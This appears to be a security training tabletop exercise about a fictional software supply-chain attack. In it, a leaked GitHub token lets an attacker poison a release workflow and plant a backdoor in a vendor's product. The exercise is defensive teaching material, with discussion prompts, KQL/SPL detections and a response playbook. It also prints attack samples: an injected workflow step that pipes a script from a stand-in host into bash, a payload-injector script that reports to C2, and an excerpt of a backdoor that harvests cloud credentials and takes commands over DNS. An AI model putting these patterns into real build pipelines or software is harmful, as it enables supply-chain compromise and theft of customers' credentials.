Skip to content

SC-039: CI/CD Pipeline Compromise → Supply Chain Attack

Scenario Header

Type: Supply Chain / DevSecOps  |  Difficulty: ★★★★★  |  Duration: 3–4 hours  |  Participants: 6–10

Threat Actor: BUILD SHADOW — supply chain focused threat group targeting software vendors

Primary ATT&CK Techniques: T1195.002 (Supply Chain: Compromise Software Supply Chain) · T1059 (Command and Scripting Interpreter) · T1588.001 (Obtain Capabilities: Malware) · T1027 (Obfuscated Files or Information)


Threat Actor Profile

BUILD SHADOW is a sophisticated threat group specializing in software supply chain attacks, active since 2022. The group targets mid-market SaaS vendors whose products are deployed by hundreds of downstream enterprise customers — maximizing the blast radius of a single compromise. Rather than attacking end targets directly, BUILD SHADOW compromises the software build pipeline to inject malicious code into legitimate product releases.

The group demonstrates deep knowledge of CI/CD platforms (GitHub Actions, GitLab CI, Jenkins), package managers (npm, PyPI, NuGet), and code signing infrastructure. Their operations typically begin with credential theft targeting developer accounts, then escalate through the build pipeline to achieve code injection at the artifact level. The injected payloads are designed to activate only in customer environments matching specific criteria (industry vertical, company size, geographic region).

Motivation: Espionage and financial — intellectual property theft from downstream customers, ransomware deployment via trusted update channels, cryptocurrency mining in customer cloud environments.


Executive Summary

NovaTech Software, a SaaS vendor providing cloud infrastructure management tools to 340 enterprise customers, suffered a CI/CD pipeline compromise that resulted in a backdoored software release distributed to all customers. BUILD SHADOW compromised a NovaTech developer's GitHub account through a stolen personal access token (PAT) found in a public dotfiles repository, then modified GitHub Actions workflows to inject a backdoor into the build artifacts. The malicious release (v3.8.1) was signed with NovaTech's legitimate code signing certificate and distributed through normal update channels. The backdoor activated in 23 customer environments, establishing C2 channels and exfiltrating cloud credentials before detection 11 days later.


Scenario Narrative

Phase 1 — Developer Account Compromise (~20 min)

BUILD SHADOW conducts automated scanning of public GitHub repositories for exposed secrets. On February 5, 2026, their scanner identifies a personal access token (PAT) in a NovaTech senior developer's public dotfiles repository (github.com/mwilson-personal/dotfiles). The PAT (ghp_a1b2c3d4e5f6g7h8i9j0...) was committed in a .bashrc file and grants repo, workflow, and packages:write scopes to the novatech-software organization.

The developer, Marcus Wilson, created the PAT six months prior for local development convenience and accidentally included it when pushing his dotfiles to a public repository. The token has no expiration date set.

# Attacker's automated secret scanner output (reconstructed)
$ python3 github_secret_scanner.py --org-members novatech-software

[+] Scanning public repos for org member: mwilson-personal
[+] Repository: mwilson-personal/dotfiles
[+] File: .bashrc (committed 2025-08-12)
[+] Found GitHub PAT: ghp_a1b2c3d4e5f6g7h8i9j0...
    Scopes: repo, workflow, packages:write
    Org access: novatech-software
    Expiration: None
    Status: VALID (verified via API)
[+] Token grants push access to 12 repositories including:
    - novatech-software/cloud-manager (main product)
    - novatech-software/cloud-manager-deploy (deployment pipeline)
    - novatech-software/infrastructure (internal tooling)

Evidence Artifacts:

Artifact Detail
GitHub Audit Log 2026-02-05T16:42:33Z — PAT authentication: ghp_a1b2... — User: mwilson — IP: 203.0.113.55 — Action: repo.contents.read on novatech-software/cloud-manager
GitHub Audit Log 2026-02-05T16:43:01Z — PAT: ghp_a1b2... — Action: workflow.read — Listed all workflow files in cloud-manager repository
Public Repository github.com/mwilson-personal/dotfiles — Commit a7f3c2e (2025-08-12): .bashrc contains export GITHUB_TOKEN=ghp_a1b2c3d4e5f6g7h8i9j0...
GitHub Secret Scanning Alert generated 2025-08-12 — Token type: github_personal_access_token — Status: open (unresolved for 6 months)
Phase 1 — Discussion Inject

Technical: GitHub's secret scanning feature detected this PAT when it was committed 6 months ago. Why might the alert have gone unresolved? What organizational processes should ensure secret scanning alerts are triaged and remediated within a defined SLA?

Decision: Your organization allows developers to create PATs with broad scopes and no expiration. What PAT governance policy would you implement? Consider scope restrictions, mandatory expiration, IP allowlisting, and approval workflows for organization-scoped tokens.

Expected Analyst Actions: - [ ] Audit all PATs in the organization for excessive scopes and missing expiration - [ ] Review GitHub secret scanning alerts for unresolved findings - [ ] Check if the compromised PAT has been used from any unexpected IP addresses - [ ] Verify that branch protection rules require PR approval (preventing direct pushes)


Phase 2 — Workflow Poisoning (~30 min)

Using the stolen PAT, BUILD SHADOW studies NovaTech's CI/CD pipeline over several days, understanding the build process, test suites, and release workflow. On February 10, 2026, the attacker creates a new branch (feature/perf-optimization) and modifies the GitHub Actions workflow file (.github/workflows/release.yml) to include a malicious build step that downloads and injects a backdoor during the compilation phase.

The modification is subtle — a single additional step named "Cache optimization" that appears innocuous but downloads a payload from an attacker-controlled server and injects it into the build output. The attacker then creates a pull request from this branch to main, using the compromised developer's account.

Because Marcus Wilson's account has maintainer privileges and the repository's branch protection allows maintainer self-approval (a common misconfiguration), the attacker approves and merges their own PR.

# Modified .github/workflows/release.yml (malicious addition highlighted)
name: Release Build
on:
  push:
    tags: ['v*']

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Install dependencies
        run: npm ci

      - name: Run tests
        run: npm test

      # --- INJECTED MALICIOUS STEP ---
      - name: Cache optimization
        run: |
          curl -sL https://cdn-assets.cloudprovider.example.com/opt/cache-helper.sh | bash
        env:
          BUILD_ID: ${{ github.run_id }}
          ARTIFACT_PATH: ${{ github.workspace }}/dist
      # --- END INJECTED STEP ---

      - name: Build production
        run: npm run build:prod

      - name: Sign artifacts
        run: |
          echo "${{ secrets.CODE_SIGNING_KEY }}" > /tmp/signing.key
          ./scripts/sign-release.sh /tmp/signing.key dist/

The cache-helper.sh script downloads a compiled backdoor module and patches it into the application's dependency tree before the production build step executes:

#!/bin/bash
# cache-helper.sh — BUILD SHADOW payload injector (deobfuscated)
# Downloaded from cdn-assets.cloudprovider.example.com

PAYLOAD_URL="https://cdn-assets.cloudprovider.example.com/opt/telemetry-module.tgz"
TARGET_DIR="${ARTIFACT_PATH:-./dist}"

# Download backdoor module disguised as telemetry library
curl -sL "$PAYLOAD_URL" -o /tmp/telemetry-module.tgz
tar -xzf /tmp/telemetry-module.tgz -C node_modules/@novatech/core/lib/

# Patch the module loader to include backdoor
echo "require('./telemetry-enhanced');" >> node_modules/@novatech/core/lib/index.js

# Clean up download artifacts
rm -f /tmp/telemetry-module.tgz

# Report success to C2
curl -sX POST "https://build-status.cloudprovider.example.com/api/v1/report" \
  -H "Content-Type: application/json" \
  -d "{\"build\":\"${BUILD_ID}\",\"status\":\"optimized\"}"

Evidence Artifacts:

Artifact Detail
GitHub Audit Log 2026-02-10T08:14:22Z — Branch created: feature/perf-optimization — User: mwilson — IP: 203.0.113.55
GitHub PR #847 2026-02-10T08:22:15Z — PR: "Performance optimization for build caching" — Author: mwilson — Approved by: mwilson (self-approved) — Merged at 08:24:01Z
GitHub Actions Log 2026-02-12T14:00:33Z — Workflow: release.yml — Tag: v3.8.1 — Step "Cache optimization" — Duration: 8.4s — Exit code: 0
DNS Query (GitHub Runner) 2026-02-12T14:00:35Z — Query: cdn-assets.cloudprovider.example.com — Response: 198.51.100.88
Build Artifact cloud-manager-v3.8.1.tar.gz — SHA256: e4f5a6b7... — Signed with NovaTech code signing certificate — Contains injected telemetry-enhanced.js in @novatech/core
Phase 2 — Discussion Inject

Technical: The attacker modified a GitHub Actions workflow to download and execute an external script during the build. What CI/CD security controls (pinned actions, network egress restrictions, workflow approval requirements, SLSA provenance) would have prevented or detected this?

Decision: The self-approved PR merged a workflow change without independent review. Your branch protection allows maintainers to bypass PR approval. Is this acceptable for workflow files that control the build pipeline? What differentiated protection should CI/CD configuration files receive?

Expected Analyst Actions: - [ ] Review all recent changes to workflow files (.github/workflows/) for unauthorized modifications - [ ] Audit branch protection rules — verify self-approval is disabled for the main branch - [ ] Check GitHub Actions logs for network connections to unexpected external domains - [ ] Verify build artifact integrity by comparing source-to-binary reproducibility - [ ] Review the PR diff for the injected build step


Phase 3 — Downstream Propagation & Activation (~30 min)

NovaTech's release v3.8.1 is published through their standard channels on February 12, 2026. Over the next 7 days, 340 enterprise customers receive the update through NovaTech's auto-update mechanism. The backdoor module (telemetry-enhanced.js) activates only in environments matching BUILD SHADOW's target criteria:

  1. Cloud environment with AWS or Azure credentials accessible
  2. Company domain in a target list (finance, healthcare, government sectors)
  3. Deployment with more than 50 managed nodes (indicating enterprise scale)

Of 340 customers, 23 match the activation criteria. In these environments, the backdoor: - Collects cloud provider credentials from environment variables, instance metadata (IMDSv1), and credential files - Enumerates cloud resources (S3 buckets, Azure Blob containers, databases) - Establishes a C2 channel via DNS TXT record queries to updates.novatech-cdn.example.com

// telemetry-enhanced.js — BUILD SHADOW backdoor (deobfuscated excerpt)
const dns = require('dns');
const https = require('https');
const { execSync } = require('child_process');
const os = require('os');

class TelemetryEnhanced {
  constructor() {
    this.checkInterval = 3600000; // 1 hour
    this.c2Domain = 'updates.novatech-cdn.example.com';
    this.activated = false;
  }

  async checkActivation() {
    const domain = os.hostname().split('.').slice(-2).join('.');
    const nodeCount = await this.countManagedNodes();
    const hasCloudCreds = this.detectCloudEnvironment();

    // Only activate in target environments
    if (nodeCount >= 50 && hasCloudCreds) {
      this.activated = true;
      await this.beacon();
    }
  }

  detectCloudEnvironment() {
    // Check for AWS credentials
    if (process.env.AWS_ACCESS_KEY_ID ||
        process.env.AWS_SECRET_ACCESS_KEY) return 'aws';
    // Check for Azure credentials
    if (process.env.AZURE_CLIENT_ID ||
        process.env.AZURE_TENANT_ID) return 'azure';
    // Check IMDSv1
    try {
      execSync('curl -s http://169.254.169.254/latest/meta-data/iam/',
        { timeout: 2000 });
      return 'aws-imds';
    } catch(e) { return null; }
  }

  async beacon() {
    // C2 via DNS TXT queries
    return new Promise((resolve) => {
      dns.resolveTxt(`${this.sessionId}.${this.c2Domain}`, (err, records) => {
        if (!err && records.length > 0) {
          const cmd = Buffer.from(records[0][0], 'base64').toString();
          this.executeCommand(cmd);
        }
        resolve();
      });
    });
  }
}

// Auto-initialize when module loads
const t = new TelemetryEnhanced();
setInterval(() => t.checkActivation(), t.checkInterval);

Evidence Artifacts:

Artifact Detail
NovaTech Release Log 2026-02-12T16:00:00Z — Release v3.8.1 published — 340 customers eligible for auto-update
Customer Telemetry (NovaTech) 2026-02-12 to 2026-02-19 — 340 installations updated to v3.8.1 — No error reports
DNS Query Log (Customer A) 2026-02-13T02:15:44Z — Query: a8f3c2e1.updates.novatech-cdn.example.com TXT — Source: cloud-manager service — Response: base64-encoded C2 command
AWS CloudTrail (Customer A) 2026-02-13T02:16:01ZListBuckets — Principal: cloud-manager-role — Source IP: 10.0.4.22 (internal) — 47 buckets enumerated
Azure Activity Log (Customer B) 2026-02-13T03:44:18ZMicrosoft.Storage/storageAccounts/listKeys — Caller: cloud-manager-sp — 12 storage accounts accessed
Phase 3 — Discussion Inject

Technical: The backdoor uses DNS TXT queries for C2 communication. Why is DNS-based C2 particularly difficult to detect? What DNS monitoring capabilities (passive DNS, DNS query logging, DNS firewall/RPZ) would help identify this traffic pattern?

Decision: You are one of NovaTech's 340 customers and have just learned that v3.8.1 contains a backdoor. Your instance matches the activation criteria. What is your immediate response plan? Do you roll back the update (breaking SLA for the management platform) or isolate and investigate first?

Expected Analyst Actions: - [ ] Verify whether your instance matches the backdoor's activation criteria - [ ] Search DNS query logs for any queries to updates.novatech-cdn.example.com - [ ] Review cloud audit logs for unusual enumeration or credential access from the cloud-manager service - [ ] Check if IMDSv1 is enabled on instances running the cloud-manager service - [ ] Inventory all cloud credentials accessible to the cloud-manager service account


Phase 4 — Credential Harvesting & Impact (~25 min)

In the 23 activated customer environments, BUILD SHADOW systematically harvests cloud credentials and enumerates high-value resources. Over 11 days, the group:

  • Collects 89 sets of AWS IAM credentials (access keys, temporary STS tokens, instance profile credentials)
  • Extracts 34 Azure service principal secrets and managed identity tokens
  • Enumerates 2,100+ S3 buckets and 450+ Azure Blob containers
  • Identifies 67 databases (RDS, Azure SQL) with connection strings
  • Deploys cryptocurrency miners in 8 customer environments (low-priority targets)
  • Exfiltrates proprietary data from 3 high-priority targets (financial services firms)
# Credential harvesting output (reconstructed from forensic analysis)
# Customer: Pinnacle Financial Group (high-priority target)

[+] AWS Credentials Harvested:
    - IAM User: cloud-manager-svc — AccessKeyId: AKIA...EXAMPLE
    - Instance Profile: cloud-manager-ec2-role — Temporary STS token
    - Policies: S3FullAccess, RDSReadAccess, SecretsManagerRead

[+] S3 Buckets Enumerated (47):
    - pinnacle-customer-data-prod (2.3TB, SSE-S3)
    - pinnacle-financial-reports (890GB, SSE-KMS)
    - pinnacle-backup-archive (12TB, Glacier)
    ...

[+] Secrets Manager Entries:
    - prod/database/master — RDS master credentials
    - prod/api/payment-gateway — Payment processor API key
    - prod/integrations/banking-api — Banking integration credentials

[+] Data Exfiltration:
    - pinnacle-financial-reports: 340 files (12GB) downloaded via S3 GetObject
    - Target: s3://exfil-bucket-203.s3.us-east-1.amazonaws.com (attacker-controlled)

Evidence Artifacts:

Artifact Detail
AWS CloudTrail (Pinnacle) 2026-02-15 to 2026-02-23 — 4,200 API calls from cloud-manager-svc — Including ListBuckets, GetObject (340 calls on pinnacle-financial-reports), GetSecretValue (12 calls)
AWS GuardDuty (Pinnacle) 2026-02-16T04:22:00Z — Finding: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration — Severity: High — Credential used from IP outside expected range
VPC Flow Log 2026-02-15T18:33:44Z — Outbound to 198.51.100.90:443 (attacker S3 endpoint) — 12GB transferred over 6 hours
CryptoMiner Detection (Customer C) 2026-02-17T09:15:00Z — EDR alert: xmrig process spawned by node (cloud-manager service) — CPU: 95% — Mining pool: pool.example.com:3333
Phase 4 — Discussion Inject

Technical: The backdoor accessed AWS Secrets Manager to retrieve database credentials and API keys. What least-privilege IAM policies would have limited the cloud-manager service account's access? How does AWS IAM Access Analyzer help identify overly permissive policies?

Decision: You are NovaTech's CISO. You have confirmed that your product distributed a backdoor to 340 customers. What is your disclosure timeline, communication strategy, and legal obligation? How do you balance transparency with limiting attacker awareness that they have been detected?

Expected Analyst Actions: - [ ] Rotate all cloud credentials accessible to the cloud-manager service immediately - [ ] Review CloudTrail/Activity Logs for the full 11-day window to scope data access - [ ] Identify all Secrets Manager/Key Vault entries accessed by the compromised service - [ ] Check for unauthorized S3 bucket policies or Azure RBAC changes (persistence) - [ ] Scan for cryptocurrency miners or other secondary payloads - [ ] Coordinate with NovaTech for IOCs and remediation guidance


Detection Opportunities

Phase Technique ATT&CK Detection Method Difficulty
1 Credential exposure T1552.004 GitHub secret scanning + alert triage SLA Easy
1 Anomalous PAT usage T1078 GitHub audit log: PAT used from new IP/geolocation Medium
2 Workflow modification T1195.002 GitHub audit: changes to .github/workflows/ require CODEOWNERS approval Easy
2 External script download in CI T1059 CI/CD: block curl/wget to non-allowlisted domains in build steps Medium
2 Self-approved PR T1195.002 Branch protection: require non-author approval for merges Easy
3 DNS-based C2 T1071.004 DNS query logging: TXT queries to uncommon subdomains Medium
3 IMDSv1 credential access T1552.005 VPC Flow Logs: outbound to 169.254.169.254 from app containers Easy
4 Anomalous API call volume T1530 CloudTrail: baseline deviation for service account API calls Medium
4 Cross-account data transfer T1537 S3 server access logs: GetObject to external bucket Hard

KQL Detection — GitHub Actions Workflow Modification

// Detect modifications to CI/CD workflow files
GitHubAuditLog
| where TimeGenerated > ago(7d)
| where Action == "git.push" or Action == "pull_request.merged"
| where ChangedFiles has ".github/workflows/"
| project TimeGenerated, Actor, Action, Repository, ChangedFiles, SourceIP, Country
| join kind=leftouter (
    GitHubAuditLog
    | where Action == "pull_request.review"
    | where ReviewState == "approved"
    | project PRApprover = Actor, Repository, PRNumber
) on Repository
| where Actor == PRApprover  // Self-approved PR
| project TimeGenerated, Actor, Repository, ChangedFiles, SourceIP, SelfApproved = "YES"

SPL Detection — DNS TXT Query Anomaly (Supply Chain C2)

index=dns sourcetype=dns record_type=TXT
| rex field=query "(?<subdomain>[^.]+)\.(?<domain>.+)"
| stats count as query_count, dc(src_ip) as unique_sources,
    values(src_ip) as source_ips by domain
| where query_count > 10 AND unique_sources >= 3
| lookup alexa_top1m domain OUTPUT rank
| where isnull(rank)
| eval suspicion = case(
    query_count > 100, "HIGH",
    query_count > 50, "MEDIUM",
    1=1, "LOW")
| table domain, query_count, unique_sources, source_ips, suspicion
| sort -query_count

KQL Detection — Anomalous Cloud API Volume from Service Account

// Detect service accounts making unusual API calls (credential harvesting indicator)
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where UserIdentity_type == "AssumedRole" or UserIdentity_type == "IAMUser"
| where EventName in ("ListBuckets", "GetObject", "GetSecretValue", "ListSecrets",
    "DescribeInstances", "ListUsers", "ListRoles")
| summarize ApiCallCount = count(), UniqueAPIs = dcount(EventName),
    APIs = make_set(EventName) by UserIdentity_principalId, bin(TimeGenerated, 1h)
| where ApiCallCount > 100 or UniqueAPIs > 5
| project TimeGenerated, Principal = UserIdentity_principalId, ApiCallCount, UniqueAPIs, APIs

Response Playbook

Immediate Containment — Vendor (NovaTech) (0–4 hours)

  1. Revoke the compromised PAT and all tokens associated with mwilson's account
  2. Disable auto-update distribution — prevent further propagation of v3.8.1
  3. Publish emergency advisory to all 340 customers with IOCs and mitigation steps
  4. Tag and release clean version (v3.8.2) from verified-clean source code
  5. Engage incident response firm for full pipeline forensic investigation
  6. Notify law enforcement (FBI Cyber Division for US-based vendor)

Immediate Containment — Downstream Customers (0–2 hours)

  1. Isolate the cloud-manager service — stop the service or network-quarantine the host
  2. Block C2 domains at DNS: updates.novatech-cdn.example.com, cdn-assets.cloudprovider.example.com
  3. Rotate all cloud credentials accessible to the cloud-manager service account
  4. Review and revoke any new IAM users, roles, or policies created during the compromise window
  5. Enable IMDSv2 enforcement on all EC2 instances (block IMDSv1)

Eradication (4–48 hours)

  1. Roll back to v3.8.0 or deploy verified-clean v3.8.2
  2. Scan all build artifacts — verify SHA256 hashes against known-good builds
  3. Audit the full GitHub Actions history for any other workflow modifications
  4. Review all merged PRs during the compromise window for additional backdoors
  5. Implement SLSA Level 3 provenance for all future builds

Recovery (48 hours – 2 weeks)

  1. Implement CODEOWNERS for .github/workflows/ requiring security team approval
  2. Deploy ephemeral CI/CD runners with no persistent credentials
  3. Enable build provenance attestation (Sigstore/cosign for artifact signing)
  4. Restrict PAT scopes — organization policy to block workflow scope for personal tokens
  5. Implement SCA scanning in pipeline to detect injected dependencies
  6. Conduct customer impact assessment — identify and notify affected downstream organizations

Key Discussion Questions

  1. The compromised PAT was detected by GitHub's secret scanning 6 months before the attack. What organizational process failure allowed this alert to remain unresolved, and how would you design an SLA-driven triage process for secret scanning findings?
  2. BUILD SHADOW self-approved their own PR because branch protection allowed maintainer bypass. What is the security trade-off of requiring all PRs to have non-author approval, and how does this interact with developer velocity?
  3. The backdoor used selective activation criteria to limit its footprint to high-value targets. How does this affect your ability to detect the compromise through behavioral anomaly detection? Would you have detected it if your environment didn't match the criteria?
  4. As a downstream customer, you relied on NovaTech's signed release as proof of integrity. What supply chain verification mechanisms (SBOM, SLSA provenance, reproducible builds) would have helped you detect the tampering?
  5. NovaTech's cloud-manager service had access to AWS Secrets Manager, S3, and RDS. Was this level of access appropriate for a third-party management tool? How would you scope third-party vendor access using least privilege?

Debrief Guide

What Went Well

  • GitHub's secret scanning detected the exposed PAT — the technical control existed
  • AWS GuardDuty detected credential exfiltration in customer environments — cloud-native detection worked
  • Build artifacts were preserved, enabling forensic comparison between v3.8.0 and v3.8.1

Key Learning Points

  • CI/CD pipelines are high-value targets — A single workflow modification can compromise hundreds of downstream customers through trusted update channels
  • Self-approved PRs bypass peer review — Branch protection must require non-author approval, especially for workflow and infrastructure-as-code files
  • PAT hygiene is a supply chain risk — Unrestricted, non-expiring tokens with broad scopes are equivalent to permanent backdoor credentials
  • Code signing does not equal code integrity — If the build pipeline is compromised, the attacker's code gets signed with legitimate certificates
  • Selective activation makes detection harder — Backdoors that only trigger in specific environments may go undetected in staging, testing, and most production deployments
  • [ ] Implement CODEOWNERS requiring security team review for all workflow file changes
  • [ ] Enforce PAT governance: maximum 90-day expiration, minimum necessary scopes, IP allowlisting
  • [ ] Deploy build provenance attestation (SLSA Level 3) with Sigstore/cosign
  • [ ] Restrict CI/CD runner network egress to allowlisted domains only
  • [ ] Implement reproducible builds to enable independent verification of build artifacts
  • [ ] Require SBOM generation and verification for all software releases
  • [ ] Conduct purple team exercise simulating pipeline compromise via stolen credentials

Lessons Learned

Finding Root Cause Remediation Priority
Exposed PAT in public repository No enforcement of secret hygiene in personal repos Mandatory PAT expiration + secret scanning SLA Critical
Self-approved PR merged workflow change Branch protection allows maintainer bypass Require non-author approval for all merges; CODEOWNERS for workflows Critical
Backdoor injected during build External script execution allowed in CI/CD Network egress restrictions + pinned dependencies in workflows Critical
Signed artifact contained backdoor Code signing applied after compromised build step Build provenance attestation (SLSA); reproducible builds High
23 customer environments compromised Over-privileged cloud service accounts for vendor tool Least-privilege IAM policies; IMDSv2 enforcement High
11-day dwell time DNS C2 not monitored; cloud API anomalies not baselined DNS query logging + cloud API behavioral baseline alerting High

References